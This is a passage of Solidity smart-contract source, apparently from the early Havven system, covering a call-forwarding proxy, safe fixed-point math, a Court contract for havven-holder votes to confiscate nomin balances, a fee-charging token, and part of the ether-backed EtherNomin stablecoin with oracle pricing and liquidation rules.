require(_target != address(0)); target = Proxyable(_target); emit TargetChanged(_target); } function () public payable { target.setMessageSender(msg.sender); assembly { // Copy call data into free memory region. let free_ptr := mload(0x40) calldatacopy(free_ptr, 0, calldatasize) // Forward all gas, ether, and data to the target contract. let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0) returndatacopy(free_ptr, 0, returndatasize) // Revert if the call failed, otherwise return the result. if iszero(result) { revert(free_ptr, calldatasize) } return(free_ptr, returndatasize) } } event TargetChanged(address targetAddress); } /* ----------------------------------------------------------------- CONTRACT DESCRIPTION ----------------------------------------------------------------- This contract contains the Proxyable interface. Any contract the proxy wraps must implement this, in order for the proxy to be able to pass msg.sender into the underlying contract as the state parameter, messageSender. ----------------------------------------------------------------- */ contract Proxyable is Owned { // the proxy this contract exists behind. Proxy public proxy; // The caller of the proxy, passed through to this contract. // Note that every function using this member must apply the onlyProxy or // optionalProxy modifiers, otherwise their invocations can use stale values. address messageSender; function Proxyable(address _owner) Owned(_owner) public { } function setProxy(Proxy _proxy) external onlyOwner { proxy = _proxy; emit ProxyChanged(_proxy); } function setMessageSender(address sender) external onlyProxy { messageSender = sender; } modifier onlyProxy { require(Proxy(msg.sender) == proxy); _; } modifier onlyOwner_Proxy { require(messageSender == owner); _; } modifier optionalProxy { if (Proxy(msg.sender) != proxy) { messageSender = msg.sender; } _; } // Combine the optionalProxy and onlyOwner_Proxy modifiers. // This is slightly cheaper and safer, since there is an ordering requirement. modifier optionalProxy_onlyOwner { if (Proxy(msg.sender) != proxy) { messageSender = msg.sender; } require(messageSender == owner); _; } event ProxyChanged(address proxyAddress); } /* ----------------------------------------------------------------- CONTRACT DESCRIPTION ----------------------------------------------------------------- A fixed point decimal library that provides basic mathematical operations, and checks for unsafe arguments, for example that would lead to overflows. Exceptions are thrown whenever those unsafe operations occur. ----------------------------------------------------------------- */ contract SafeDecimalMath { // Number of decimal places in the representation. uint8 public constant decimals = 18; // The number representing 1.0. uint public constant UNIT = 10 ** uint(decimals); /* True iff adding x and y will not overflow. */ function addIsSafe(uint x, uint y) pure internal returns (bool) { return x + y >= y; } /* Return the result of adding x and y, throwing an exception in case of overflow. */ function safeAdd(uint x, uint y) pure internal returns (uint) { require(x + y >= y); return x + y; } /* True iff subtracting y from x will not overflow in the negative direction. */ function subIsSafe(uint x, uint y) pure internal returns (bool) { return y <= x; } /* Return the result of subtracting y from x, throwing an exception in case of overflow. */ function safeSub(uint x, uint y) pure internal returns (uint) { require(y <= x); return x - y; } /* True iff multiplying x and y would not overflow. */ function mulIsSafe(uint x, uint y) pure internal returns (bool) { if (x == 0) { return true; } return (x * y) / x == y; } /* Return the result of multiplying x and y, throwing an exception in case of overflow.*/ function safeMul(uint x, uint y) pure internal returns (uint) { if (x == 0) { return 0; } uint p = x * y; require(p / x == y); return p; } /* Return the result of multiplying x and y, interpreting the operands as fixed-point * demicimals. Throws an exception in case of overflow. A unit factor is divided out * after the product of x and y is evaluated, so that product must be less than 2**256. * * Incidentally, the internal division always rounds down: we could have rounded to the nearest integer, * but then we would be spending a significant fraction of a cent (of order a microether * at present gas prices) in order to save less than one part in 0.5 * 10^18 per operation, if the operands * contain small enough fractional components. It would also marginally diminish the * domain this function is defined upon. */ function safeMul_dec(uint x, uint y) pure internal returns (uint) { // Divide by UNIT to remove the extra factor introduced by the product. // UNIT be 0. return safeMul(x, y) / UNIT; } /* True iff the denominator of x/y is nonzero. */ function divIsSafe(uint x, uint y) pure internal returns (bool) { return y != 0; } /* Return the result of dividing x by y, throwing an exception if the divisor is zero. */ function safeDiv(uint x, uint y) pure internal returns (uint) { // Although a 0 denominator already throws an exception, // it is equivalent to a THROW operation, which consumes all gas. // A require statement emits REVERT instead, which remits remaining gas. require(y != 0); return x / y; } /* Return the result of dividing x by y, interpreting the operands as fixed point decimal numbers. * Throws an exception in case of overflow or zero divisor; x must be less than 2^256 / UNIT. * Internal rounding is downward: a similar caveat holds as with safeDecMul().*/ function safeDiv_dec(uint x, uint y) pure internal returns (uint) { // Reintroduce the UNIT factor that will be divided out by y. return safeDiv(safeMul(x, UNIT), y); } /* Convert an unsigned integer to a unsigned fixed-point decimal. * Throw an exception if the result would be out of range. */ function intToDec(uint i) pure internal returns (uint) { return safeMul(i, UNIT); } } /* ----------------------------------------------------------------- CONTRACT DESCRIPTION ----------------------------------------------------------------- This court provides the nomin contract with a confiscation facility, if enough havven owners vote to confiscate a target account's nomins. This is designed to provide a mechanism to respond to abusive contracts such as nomin wrappers, which would allow users to trade wrapped nomins without accruing fees on those transactions. In order to prevent tyranny, an account may only be frozen if users controlling at least 30% of the value of havvens participate, and a two thirds majority is attained in that vote. In order to prevent tyranny of the majority or mob justice, confiscation motions are only approved if the havven foundation approves the result. This latter requirement may be lifted in future versions. The foundation, or any user with a sufficient havven balance may bring a confiscation motion. A motion lasts for a default period of one week, with a further confirmation period in which the foundation approves the result. The latter period may conclude early upon the foundation's decision to either veto or approve the mooted confiscation motion. If the confirmation period elapses without the foundation making a decision, the motion fails. The weight of a havven holder's vote is determined by examining their average balance over the last completed fee period prior to the beginning of a given motion. Thus, since a fee period can roll over in the middle of a motion, we must also track a user's average balance of the last two periods. This system is designed such that it cannot be attacked by users transferring funds between themselves, while also not requiring them to lock their havvens for the duration of the vote. This is possible since any transfer that increases the average balance in one account will be reflected by an equivalent reduction in the voting weight in the other. At present a user may cast a vote only for one motion at a time, but may cancel their vote at any time except during the confirmation period, when the vote tallies must remain static until the matter has been settled. A motion to confiscate the balance of a given address composes a state machine built of the following states: Waiting: - A user with standing brings a motion: If the target address is not frozen; initialise vote tallies to 0; transition to the Voting state. - An account cancels a previous residual vote: remain in the Waiting state. Voting: - The foundation vetoes the in-progress motion: transition to the Waiting state. - The voting period elapses: transition to the Confirmation state. - An account votes (for or against the motion): its weight is added to the appropriate tally; remain in the Voting state. - An account cancels its previous vote: its weight is deducted from the appropriate tally (if any); remain in the Voting state. Confirmation: - The foundation vetoes the completed motion: transition to the Waiting state. - The foundation approves confiscation of the target account: freeze the target account, transfer its nomin balance to the fee pool; transition to the Waiting state. - The confirmation period elapses: transition to the Waiting state. User votes are not automatically cancelled upon the conclusion of a motion. Therefore, after a motion comes to a conclusion, if a user wishes to vote in another motion, they must manually cancel their vote in order to do so. This procedure is designed to be relatively simple. There are some things that can be added to enhance the functionality at the expense of simplicity and efficiency: - Democratic unfreezing of nomin accounts (induces multiple categories of vote) - Configurable per-vote durations; - Vote standing denominated in a fiat quantity rather than a quantity of havvens; - Confiscate from multiple addresses in a single vote; We might consider updating the contract with any of these features at a later date if necessary. ----------------------------------------------------------------- */ contract Court is Owned, SafeDecimalMath { /* ========== STATE VARIABLES ========== */ // The addresses of the token contracts this confiscation court interacts with. Havven public havven; EtherNomin public nomin; // The minimum havven balance required to be considered to have standing // to begin confiscation proceedings. uint public minStandingBalance = 100 * UNIT; // The voting period lasts for this duration, // and if set, must fall within the given bounds. uint public votingPeriod = 1 weeks; uint constant MIN_VOTING_PERIOD = 3 days; uint constant MAX_VOTING_PERIOD = 4 weeks; // Duration of the period during which the foundation may confirm // or veto a motion that has concluded. // If set, the confirmation duration must fall within the given bounds. uint public confirmationPeriod = 1 weeks; uint constant MIN_CONFIRMATION_PERIOD = 1 days; uint constant MAX_CONFIRMATION_PERIOD = 2 weeks; // No fewer than this fraction of havvens must participate in a motion // in order for a quorum to be reached. // The participation fraction required may be set no lower than 10%. uint public requiredParticipation = 3 * UNIT / 10; uint constant MIN_REQUIRED_PARTICIPATION = UNIT / 10; // At least this fraction of participating votes must be in favour of // confiscation for the motion to pass. // The required majority may be no lower than 50%. uint public requiredMajority = (2 * UNIT) / 3; uint constant MIN_REQUIRED_MAJORITY = UNIT / 2; // The next ID to use for opening a motion. uint nextMotionID = 1; // Mapping from motion IDs to target addresses. mapping(uint => address) public motionTarget; // The ID a motion on an address is currently operating at. // Zero if no such motion is running. mapping(address => uint) public targetMotionID; // The timestamp at which a motion began. This is used to determine // whether a motion is: running, in the confirmation period, // or has concluded. // A motion runs from its start time t until (t + votingPeriod), // and then the confirmation period terminates no later than // (t + votingPeriod + confirmationPeriod). mapping(uint => uint) public motionStartTime; // The tallies for and against confiscation of a given balance. // These are set to zero at the start of a motion, and also on conclusion, // just to keep the state clean. mapping(uint => uint) public votesFor; mapping(uint => uint) public votesAgainst; // The last/penultimate average balance of a user at the time they voted // in a particular motion. // If we did not save this information then we would have to // disallow transfers into an account lest it cancel a vote // with greater weight than that with which it originally voted, // and the fee period rolled over in between. mapping(address => mapping(uint => uint)) voteWeight; // The possible vote types. // Abstention: not participating in a motion; This is the default value. // Yea: voting in favour of a motion. // Nay: voting against a motion. enum Vote {Abstention, Yea, Nay} // A given account's vote in some confiscation motion. // This requires the default value of the Vote enum to correspond to an abstention. mapping(address => mapping(uint => Vote)) public vote; /* ========== CONSTRUCTOR ========== */ function Court(Havven _havven, EtherNomin _nomin, address _owner) Owned(_owner) public { havven = _havven; nomin = _nomin; } /* ========== SETTERS ========== */ function setMinStandingBalance(uint balance) external onlyOwner { // No requirement on the standing threshold here; // the foundation can set this value such that // anyone or no one can actually start a motion. minStandingBalance = balance; } function setVotingPeriod(uint duration) external onlyOwner { require(MIN_VOTING_PERIOD <= duration && duration <= MAX_VOTING_PERIOD); // Require that the voting period is no longer than a single fee period, // So that a single vote can span at most two fee periods. require(duration <= havven.targetFeePeriodDurationSeconds()); votingPeriod = duration; } function setConfirmationPeriod(uint duration) external onlyOwner { require(MIN_CONFIRMATION_PERIOD <= duration && duration <= MAX_CONFIRMATION_PERIOD); confirmationPeriod = duration; } function setRequiredParticipation(uint fraction) external onlyOwner { require(MIN_REQUIRED_PARTICIPATION <= fraction); requiredParticipation = fraction; } function setRequiredMajority(uint fraction) external onlyOwner { require(MIN_REQUIRED_MAJORITY <= fraction); requiredMajority = fraction; } /* ========== VIEW FUNCTIONS ========== */ /* There is a motion in progress on the specified * account, and votes are being accepted in that motion. */ function motionVoting(uint motionID) public view returns (bool) { // No need to check (startTime < now) as there is no way // to set future start times for votes. // These values are timestamps, they will not overflow // as they can only ever be initialised to relatively small values. return now < motionStartTime[motionID] + votingPeriod; } /* A vote on the target account has concluded, but the motion * has not yet been approved, vetoed, or closed. */ function motionConfirming(uint motionID) public view returns (bool) { // These values are timestamps, they will not overflow // as they can only ever be initialised to relatively small values. uint startTime = motionStartTime[motionID]; return startTime + votingPeriod <= now && now < startTime + votingPeriod + confirmationPeriod; } /* A vote motion either not begun, or it has completely terminated. */ function motionWaiting(uint motionID) public view returns (bool) { // These values are timestamps, they will not overflow // as they can only ever be initialised to relatively small values. return motionStartTime[motionID] + votingPeriod + confirmationPeriod <= now; } /* If the motion was to terminate at this instant, it would pass. * That is: there was sufficient participation and a sizeable enough majority. */ function motionPasses(uint motionID) public view returns (bool) { uint yeas = votesFor[motionID]; uint nays = votesAgainst[motionID]; uint totalVotes = safeAdd(yeas, nays); if (totalVotes == 0) { return false; } uint participation = safeDiv_dec(totalVotes, havven.totalSupply()); uint fractionInFavour = safeDiv_dec(yeas, totalVotes); // We require the result to be strictly greater than the requirement // to enforce a majority being "50% + 1", and so on. return participation > requiredParticipation && fractionInFavour > requiredMajority; } function hasVoted(address account, uint motionID) public view returns (bool) { return vote[account][motionID] != Vote.Abstention; } /* ========== MUTATIVE FUNCTIONS ========== */ /* Begin a motion to confiscate the funds in a given nomin account. * Only the foundation, or accounts with sufficient havven balances * may elect to start such a motion. * Returns the ID of the motion that was begun. */ function beginMotion(address target) external returns (uint) { // A confiscation motion must be mooted by someone with standing. require((havven.balanceOf(msg.sender) >= minStandingBalance) || msg.sender == owner); // Require that the voting period is longer than a single fee period, // So that a single vote can span at most two fee periods. require(votingPeriod <= havven.targetFeePeriodDurationSeconds()); // There must be no confiscation motion already running for this account. require(targetMotionID[target] == 0); // Disallow votes on accounts that have previously been frozen. require(!nomin.frozen(target)); uint motionID = nextMotionID++; motionTarget[motionID] = target; targetMotionID[target] = motionID; motionStartTime[motionID] = now; emit MotionBegun(msg.sender, msg.sender, target, target, motionID, motionID); return motionID; } /* Shared vote setup function between voteFor and voteAgainst. * Returns the voter's vote weight. */ function setupVote(uint motionID) internal returns (uint) { // There must be an active vote for this target running. // Vote totals must only change during the voting phase. require(motionVoting(motionID)); // The voter must not have an active vote this motion. require(!hasVoted(msg.sender, motionID)); // The voter may not cast votes on themselves. require(msg.sender != motionTarget[motionID]); // Ensure the voter's vote weight is current. havven.recomputeAccountLastAverageBalance(msg.sender); uint weight; // We use a fee period guaranteed to have terminated before // the start of the vote. Select the right period if // a fee period rolls over in the middle of the vote. if (motionStartTime[motionID] < havven.feePeriodStartTime()) { weight = havven.penultimateAverageBalance(msg.sender); } else { weight = havven.lastAverageBalance(msg.sender); } // Users must have a nonzero voting weight to vote. require(weight > 0); voteWeight[msg.sender][motionID] = weight; return weight; } /* The sender casts a vote in favour of confiscation of the * target account's nomin balance. */ function voteFor(uint motionID) external { uint weight = setupVote(motionID); vote[msg.sender][motionID] = Vote.Yea; votesFor[motionID] = safeAdd(votesFor[motionID], weight); emit VotedFor(msg.sender, msg.sender, motionID, motionID, weight); } /* The sender casts a vote against confiscation of the * target account's nomin balance. */ function voteAgainst(uint motionID) external { uint weight = setupVote(motionID); vote[msg.sender][motionID] = Vote.Nay; votesAgainst[motionID] = safeAdd(votesAgainst[motionID], weight); emit VotedAgainst(msg.sender, msg.sender, motionID, motionID, weight); } /* Cancel an existing vote by the sender on a motion * to confiscate the target balance. */ function cancelVote(uint motionID) external { // An account may cancel its vote either before the confirmation phase // when the motion is still open, or after the confirmation phase, // when the motion has concluded. // But the totals must not change during the confirmation phase itself. require(!motionConfirming(motionID)); Vote senderVote = vote[msg.sender][motionID]; // If the sender has not voted then there is no need to update anything. require(senderVote != Vote.Abstention); // If we are not voting, there is no reason to update the vote totals. if (motionVoting(motionID)) { if (senderVote == Vote.Yea) { votesFor[motionID] = safeSub(votesFor[motionID], voteWeight[msg.sender][motionID]); } else { // Since we already ensured that the vote is not an abstention, // the only option remaining is Vote.Nay. votesAgainst[motionID] = safeSub(votesAgainst[motionID], voteWeight[msg.sender][motionID]); } // A cancelled vote is only meaningful if a vote is running emit VoteCancelled(msg.sender, msg.sender, motionID, motionID); } delete voteWeight[msg.sender][motionID]; delete vote[msg.sender][motionID]; } function _closeMotion(uint motionID) internal { delete targetMotionID[motionTarget[motionID]]; delete motionTarget[motionID]; delete motionStartTime[motionID]; delete votesFor[motionID]; delete votesAgainst[motionID]; emit MotionClosed(motionID, motionID); } /* If a motion has concluded, or if it lasted its full duration but not passed, * then anyone may close it. */ function closeMotion(uint motionID) external { require((motionConfirming(motionID) && !motionPasses(motionID)) || motionWaiting(motionID)); _closeMotion(motionID); } /* The foundation may only confiscate a balance during the confirmation * period after a motion has passed. */ function approveMotion(uint motionID) external onlyOwner { require(motionConfirming(motionID) && motionPasses(motionID)); address target = motionTarget[motionID]; nomin.confiscateBalance(target); _closeMotion(motionID); emit MotionApproved(motionID, motionID); } /* The foundation may veto a motion at any time. */ function vetoMotion(uint motionID) external onlyOwner { require(!motionWaiting(motionID)); _closeMotion(motionID); emit MotionVetoed(motionID, motionID); } /* ========== EVENTS ========== */ event MotionBegun(address initiator, address indexed initiatorIndex, address target, address indexed targetIndex, uint motionID, uint indexed motionIDIndex); event VotedFor(address voter, address indexed voterIndex, uint motionID, uint indexed motionIDIndex, uint weight); event VotedAgainst(address voter, address indexed voterIndex, uint motionID, uint indexed motionIDIndex, uint weight); event VoteCancelled(address voter, address indexed voterIndex, uint motionID, uint indexed motionIDIndex); event MotionClosed(uint motionID, uint indexed motionIDIndex); event MotionVetoed(uint motionID, uint indexed motionIDIndex); event MotionApproved(uint motionID, uint indexed motionIDIndex); } /* ----------------------------------------------------------------- CONTRACT DESCRIPTION ----------------------------------------------------------------- A token which also has a configurable fee rate charged on its transfers. This is designed to be overridden in order to produce an ERC20-compliant token. These fees accrue into a pool, from which a nominated authority may withdraw. This contract utilises a state for upgradability purposes. It relies on being called underneath a proxy contract, as included in Proxy.sol. ----------------------------------------------------------------- */ contract ExternStateProxyFeeToken is Proxyable, SafeDecimalMath { /* ========== STATE VARIABLES ========== */ // Stores balances and allowances. TokenState public state; // Other ERC20 fields string public name; string public symbol; uint public totalSupply; // A percentage fee charged on each transfer. uint public transferFeeRate; // Fee may not exceed 10%. uint constant MAX_TRANSFER_FEE_RATE = UNIT / 10; // The address with the authority to distribute fees. address public feeAuthority; /* ========== CONSTRUCTOR ========== */ function ExternStateProxyFeeToken(string _name, string _symbol, uint _transferFeeRate, address _feeAuthority, TokenState _state, address _owner) Proxyable(_owner) public { if (_state == TokenState(0)) { state = new TokenState(_owner, address(this)); } else { state = _state; } name = _name; symbol = _symbol; transferFeeRate = _transferFeeRate; feeAuthority = _feeAuthority; } /* ========== SETTERS ========== */ function setTransferFeeRate(uint _transferFeeRate) external optionalProxy_onlyOwner { require(_transferFeeRate <= MAX_TRANSFER_FEE_RATE); transferFeeRate = _transferFeeRate; emit TransferFeeRateUpdated(_transferFeeRate); } function setFeeAuthority(address _feeAuthority) external optionalProxy_onlyOwner { feeAuthority = _feeAuthority; emit FeeAuthorityUpdated(_feeAuthority); } function setState(TokenState _state) external optionalProxy_onlyOwner { state = _state; emit StateUpdated(_state); } /* ========== VIEWS ========== */ function balanceOf(address account) public view returns (uint) { return state.balanceOf(account); } function allowance(address from, address to) public view returns (uint) { return state.allowance(from, to); } // Return the fee charged on top in order to transfer _value worth of tokens. function transferFeeIncurred(uint value) public view returns (uint) { return safeMul_dec(value, transferFeeRate); // Transfers less than the reciprocal of transferFeeRate should be completely eaten up by fees. // This is on the basis that transfers less than this value will result in a nil fee. // Probably too insignificant to worry about, but the following code will achieve it. // if (fee == 0 && transferFeeRate != 0) { // return _value; // } // return fee; } // The value that you would need to send so that the recipient receives // a specified value. function transferPlusFee(uint value) external view returns (uint) { return safeAdd(value, transferFeeIncurred(value)); } // The quantity to send in order that the sender spends a certain value of tokens. function priceToSpend(uint value) external view returns (uint) { return safeDiv_dec(value, safeAdd(UNIT, transferFeeRate)); } // The balance of the nomin contract itself is the fee pool. // Collected fees sit here until they are distributed. function feePool() external view returns (uint) { return state.balanceOf(address(this)); } /* ========== MUTATIVE FUNCTIONS ========== */ /* Whatever calls this should have either the optionalProxy or onlyProxy modifier, * and pass in messageSender. */ function _transfer_byProxy(address sender, address to, uint value) internal returns (bool) { require(to != address(0)); // The fee is deducted from the sender's balance, in addition to // the transferred quantity. uint fee = transferFeeIncurred(value); uint totalCharge = safeAdd(value, fee); // Insufficient balance will be handled by the safe subtraction. state.setBalanceOf(sender, safeSub(state.balanceOf(sender), totalCharge)); state.setBalanceOf(to, safeAdd(state.balanceOf(to), value)); state.setBalanceOf(address(this), safeAdd(state.balanceOf(address(this)), fee)); emit Transfer(sender, to, value); emit TransferFeePaid(sender, fee); emit Transfer(sender, address(this), fee); return true; } /* Whatever calls this should have either the optionalProxy or onlyProxy modifier, * and pass in messageSender. */ function _transferFrom_byProxy(address sender, address from, address to, uint value) internal returns (bool) { require(to != address(0)); // The fee is deducted from the sender's balance, in addition to // the transferred quantity. uint fee = transferFeeIncurred(value); uint totalCharge = safeAdd(value, fee); // Insufficient balance will be handled by the safe subtraction. state.setBalanceOf(from, safeSub(state.balanceOf(from), totalCharge)); state.setAllowance(from, sender, safeSub(state.allowance(from, sender), totalCharge)); state.setBalanceOf(to, safeAdd(state.balanceOf(to), value)); state.setBalanceOf(address(this), safeAdd(state.balanceOf(address(this)), fee)); emit Transfer(from, to, value); emit TransferFeePaid(sender, fee); emit Transfer(from, address(this), fee); return true; } function approve(address spender, uint value) external optionalProxy returns (bool) { address sender = messageSender; state.setAllowance(sender, spender, value); emit Approval(sender, spender, value); return true; } /* Withdraw tokens from the fee pool into a given account. */ function withdrawFee(address account, uint value) external returns (bool) { require(msg.sender == feeAuthority && account != address(0)); // 0-value withdrawals do nothing. if (value == 0) { return false; } // Safe subtraction ensures an exception is thrown if the balance is insufficient. state.setBalanceOf(address(this), safeSub(state.balanceOf(address(this)), value)); state.setBalanceOf(account, safeAdd(state.balanceOf(account), value)); emit FeesWithdrawn(account, account, value); emit Transfer(address(this), account, value); return true; } /* Donate tokens from the sender's balance into the fee pool. */ function donateToFeePool(uint n) external optionalProxy returns (bool) { address sender = messageSender; // Empty donations are disallowed. uint balance = state.balanceOf(sender); require(balance != 0); // safeSub ensures the donor has sufficient balance. state.setBalanceOf(sender, safeSub(balance, n)); state.setBalanceOf(address(this), safeAdd(state.balanceOf(address(this)), n)); emit FeesDonated(sender, sender, n); emit Transfer(sender, address(this), n); return true; } /* ========== EVENTS ========== */ event Transfer(address indexed from, address indexed to, uint value); event TransferFeePaid(address indexed account, uint value); event Approval(address indexed owner, address indexed spender, uint value); event TransferFeeRateUpdated(uint newFeeRate); event FeeAuthorityUpdated(address feeAuthority); event StateUpdated(address newState); event FeesWithdrawn(address account, address indexed accountIndex, uint value); event FeesDonated(address donor, address indexed donorIndex, uint value); } /* ----------------------------------------------------------------- CONTRACT DESCRIPTION ----------------------------------------------------------------- Ether-backed nomin stablecoin contract. This contract issues nomins, which are tokens worth 1 USD each. They are backed by a pool of ether collateral, so that if a user has nomins, they may redeem them for ether from the pool, or if they want to obtain nomins, they may pay ether into the pool in order to do so. The supply of nomins that may be in circulation at any time is limited. The contract owner may increase this quantity, but only if they provide ether to back it. The backing the owner provides at issuance must keep each nomin at least twice overcollateralised. The owner may also destroy nomins in the pool, which is potential avenue by which to maintain healthy collateralisation levels, as it reduces supply without withdrawing ether collateral. A configurable fee is charged on nomin transfers and deposited into a common pot, which havven holders may withdraw from once per fee period. Ether price is continually updated by an external oracle, and the value of the backing is computed on this basis. To ensure the integrity of this system, if the contract's price has not been updated recently enough, it will temporarily disable itself until it receives more price information. The contract owner may at any time initiate contract liquidation. During the liquidation period, most contract functions will be deactivated. No new nomins may be issued or bought, but users may sell nomins back to the system. If the system's collateral falls below a specified level, then anyone may initiate liquidation. After the liquidation period has elapsed, which is initially 90 days, the owner may destroy the contract, transferring any remaining collateral to a nominated beneficiary address. This liquidation period may be extended up to a maximum of 180 days. If the contract is recollateralised, the owner may terminate liquidation. ----------------------------------------------------------------- */ contract EtherNomin is ExternStateProxyFeeToken { /* ========== STATE VARIABLES ========== */ // The oracle provides price information to this contract. // It may only call the updatePrice() function. address public oracle; // The address of the contract which manages confiscation votes. Court public court; // Foundation wallet for funds to go to post liquidation. address public beneficiary; // Nomins in the pool ready to be sold. uint public nominPool; // Impose a 50 basis-point fee for buying from and selling to the nomin pool. uint public poolFeeRate = UNIT / 200; // The minimum purchasable quantity of nomins is 1 cent. uint constant MINIMUM_PURCHASE = UNIT / 100; // When issuing, nomins must be overcollateralised by this ratio. uint constant MINIMUM_ISSUANCE_RATIO = 2 * UNIT; // If the collateralisation ratio of the contract falls below this level, // immediately begin liquidation. uint constant AUTO_LIQUIDATION_RATIO = UNIT; // The liquidation period is the duration that must pass before the liquidation period is complete. // It can be extended up to a given duration. uint constant DEFAULT_LIQUIDATION_PERIOD = 90 days; uint constant MAX_LIQUIDATION_PERIOD = 180 days; uint public liquidationPeriod = DEFAULT_LIQUIDATION_PERIOD; // The timestamp when liquidation was activated. We initialise this to // uint max, so that we know that we are under liquidation if the // liquidation timestamp is in the past. uint public liquidationTimestamp = ~uint(0); // Ether price from oracle (fiat per ether). uint public etherPrice; // Last time the price was updated. uint public lastPriceUpdate; // The period it takes for the price to be considered stale. // If the price is stale, functions that require the price are disabled. uint public stalePeriod = 2 days; // Accounts which have lost the privilege to transact in nomins. mapping(address => bool) public frozen; /* ========== CONSTRUCTOR ========== */ function EtherNomin(address _havven, address _oracle, address _beneficiary, uint initialEtherPrice, address _owner, TokenState initialState) ExternStateProxyFeeToken("Ether-Backed USD Nomins", "eUSD", 15 * UNIT / 10000, // nomin transfers incur a 15 bp fee _havven, // the havven contract is the fee authority initialState, _owner) public { oracle = _oracle; beneficiary = _beneficiary; etherPrice = initialEtherPrice; lastPriceUpdate = now; emit PriceUpdated(etherPrice); // It should not be possible to transfer to the nomin contract itself. frozen[this] = true; } /* ========== SETTERS ========== */ function setOracle(address _oracle) external optionalProxy_onlyOwner { oracle = _oracle; emit OracleUpdated(_oracle); } function setCourt(Court _court) external optionalProxy_onlyOwner { court = _court; emit CourtUpdated(_court); } function setBeneficiary(address _beneficiary) external optionalProxy_onlyOwner { beneficiary = _beneficiary; emit BeneficiaryUpdated(_beneficiary); } function setPoolFeeRate(uint _poolFeeRate) external optionalProxy_onlyOwner { require(_poolFeeRate <= UNIT); poolFeeRate = _poolFeeRate; emit PoolFeeRateUpdated(_poolFeeRate); } function setStalePeriod(uint _stalePeriod) external optionalProxy_onlyOwner { stalePeriod = _stalePeriod; emit StalePeriodUpdated(_stalePeriod); } /* ========== VIEW FUNCTIONS ========== */ /* Return the equivalent fiat value of the given quantity * of ether at the current price. * Reverts if the price is stale. */ function fiatValue(uint eth) public view priceNotStale returns (uint) { return safeMul_dec(eth, etherPrice); } /* Return the current fiat value of the contract's balance. * Reverts if the price is stale. */ function fiatBalance() public view returns (uint) { // Price staleness check occurs inside the call to fiatValue. return fiatValue(address(this).balance); } /* Return the equivalent ether value of the given quantity * of fiat at the current price. * Reverts if the price is stale. */ function etherValue(uint fiat) public view priceNotStale returns (uint) { return safeDiv_dec(fiat, etherPrice); } /* The same as etherValue(), but without the stale price check. */ function etherValueAllowStale(uint fiat) internal view returns (uint) { return safeDiv_dec(fiat, etherPrice); } /* Return the units of fiat per nomin in the supply. * Reverts if the price is stale. */ function collateralisationRatio() public view returns (uint) { return safeDiv_dec(fiatBalance(), _nominCap()); } /* Return the maximum number of extant nomins, * equal to the nomin pool plus total (circulating) supply. */ function _nominCap() internal view returns (uint) { return safeAdd(nominPool, totalSupply); } /* Return the fee charged on a purchase or sale of n nomins. */ function poolFeeIncurred(uint n) public view returns (uint) { return safeMul_dec(n, poolFeeRate); } /* Return the fiat cost (including fee) of purchasing n nomins. * Nomins are purchased for $1, plus the fee. */ function purchaseCostFiat(uint n) public view returns (uint) { return safeAdd(n, poolFeeIncurred(n)); } /* Return the ether cost (including fee) of purchasing n nomins. * Reverts if the price is stale. */ function purchaseCostEther(uint n) public view returns (uint) { // Price staleness check occurs inside the call to etherValue. return etherValue(purchaseCostFiat(n)); } /* Return the fiat proceeds (less the fee) of selling n nomins. * Nomins are sold for $1, minus the fee. */ function saleProceedsFiat(uint n) public view returns (uint) { return safeSub(n, poolFeeIncurred(n)); } /* Return the ether proceeds (less the fee) of selling n * nomins. * Reverts if the price is stale. */ function saleProceedsEther(uint n) public view returns (uint) { // Price staleness check occurs inside the call to etherValue. return etherValue(saleProceedsFiat(n)); } /* The same as saleProceedsEther(), but without the stale price check. */ function saleProceedsEtherAllowStale(uint n) internal view returns (uint) { return etherValueAllowStale(saleProceedsFiat(n)); } /* True iff the current block timestamp is later than the time * the price was last updated, plus the stale period. */ function priceIsStale() public view returns (bool) { return safeAdd(lastPriceUpdate, stalePeriod) < now; } function isLiquidating() public view returns (bool) { return liquidationTimestamp <= now; } /* True if the contract is self-destructible. * This is true if either the complete liquidation period has elapsed, * or if all tokens have been returned to the contract and it has been * in liquidation for at least a week. * Since the contract is only destructible after the liquidationTimestamp, * a fortiori canSelfDestruct() implies isLiquidating(). */ function canSelfDestruct() public view returns (bool) { // Not being in liquidation implies the timestamp is uint max, so it would roll over. // We need to check whether we're in liquidation first. if (isLiquidating()) { // These timestamps and durations have values clamped within reasonable values and // cannot overflow. bool totalPeriodElapsed = liquidationTimestamp + liquidationPeriod < now; // Total supply of 0 means all tokens have returned to the pool. bool allTokensReturned = (liquidationTimestamp + 1 weeks < now) && (totalSupply == 0); return totalPeriodElapsed || allTokensReturned; } return false; } /* ========== MUTATIVE FUNCTIONS ========== */ /* Override ERC20 transfer function in order to check * whether the recipient account is frozen. Note that there is * no need to check whether the sender has a frozen account, * since their funds have already been confiscated, * and no new funds can be transferred to it.*/ function transfer(address to, uint value) public optionalProxy returns (bool) { require(!frozen[to]); return _transfer_byProxy(messageSender, to, value); } /* Override ERC20 transferFrom function in order to check * whether the recipient account is frozen. */ function transferFrom(address from, address to, uint value) public optionalProxy returns (bool) { require(!frozen[to]); return _transferFrom_byProxy(messageSender, from, to, value); } /* Update the current ether price and update the last updated time, * refreshing the price staleness. * Also checks whether the contract's collateral levels have fallen to low, * and initiates liquidation if that is the case. * Exceptional conditions: * Not called by the oracle. * Not the most recently sent price. */ function updatePrice(uint price, uint timeSent) external postCheckAutoLiquidate { // Should be callable only by the oracle. require(msg.sender == oracle); // Must be the most recently sent price, but not too far in the future. // (so we can't lock ourselves out of updating the oracle for longer than this) require(lastPriceUpdate < timeSent && timeSent < now + 10 minutes); etherPrice = price; lastPriceUpdate = timeSent; emit PriceUpdated(price); } /* Issues n nomins into the pool available to be bought by users. * Must be accompanied by $n worth of ether. * Exceptional conditions: * Not called by contract owner. * Insufficient backing funds provided (post-issuance collateralisation below minimum requirement). * Price is stale. */ function replenishPool(uint n) external payable notLiquidating optionalProxy_onlyOwner { // Price staleness check occurs inside the call to fiatBalance. // Safe additions are unnecessary here, as either the addition is checked on the following line // or the overflow would cause the requirement not to be satisfied. require(fiatBalance() >= safeMul_dec(safeAdd(_nominCap(), n), MINIMUM_ISSUANCE_RATIO)); nominPool = safeAdd(nominPool, n); emit PoolReplenished(n, msg.value); } /* Burns n nomins from the pool. * Exceptional conditions: * Not called by contract owner. * There are fewer than n nomins in the pool. */ function diminishPool(uint n) external optionalProxy_onlyOwner { // Require that there are enough nomins in the accessible pool to burn require(nominPool >= n); nominPool = safeSub(nominPool, n); emit PoolDiminished(n); } /* 